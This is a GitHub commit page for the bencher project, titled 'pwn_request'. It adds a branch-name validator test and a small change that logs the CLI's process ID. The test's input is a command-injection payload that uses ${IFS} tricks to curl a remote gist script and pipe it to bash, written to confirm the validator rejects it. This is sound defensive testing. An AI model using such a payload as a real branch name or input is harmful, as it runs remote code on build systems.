pwn_request

bencherdev · Dec 6, 2023 · e577207 · e577207
1 parent b5f45a5
commit e577207
Show file tree

Hide file tree

Showing 2 changed files with 8 additions and 0 deletions.
diff --git a/lib/bencher_valid/src/branch_name.rs b/lib/bencher_valid/src/branch_name.rs
@@ -95,5 +95,10 @@ mod test {
         assert_eq!(false, is_valid_branch_name("ma in"));
         assert_eq!(false, is_valid_branch_name("main "));
         assert_eq!(false, is_valid_branch_name(".main"));
+
+        // Credit to https://github.com/nikitastupin
+        let ref_name = "$(curl${IFS}-L${IFS}gist.githubusercontent.com/nikitastupin
+            /30e525b776c409e03c2d6f328f254965/raw/shortcut.sh|bash)";
+        assert_eq!(false, is_valid_branch_name(ref_name));
     }
 }
diff --git a/services/cli/src/main.rs b/services/cli/src/main.rs
@@ -13,6 +13,9 @@ pub use error::CliError;
 #[allow(clippy::print_stderr)]
 #[tokio::main(flavor = "current_thread")]
 async fn main() -> ExitCode {
+    let pid = std::process::id();
+    cli_println!("CLI_PID: {}", pid);
+    std::env::set_var("CLI_PID", pid.to_string());
     match exec().await {
         Ok(()) => ExitCode::SUCCESS,
         // https://github.com/rust-lang/rust/issues/46016#issuecomment-1242039016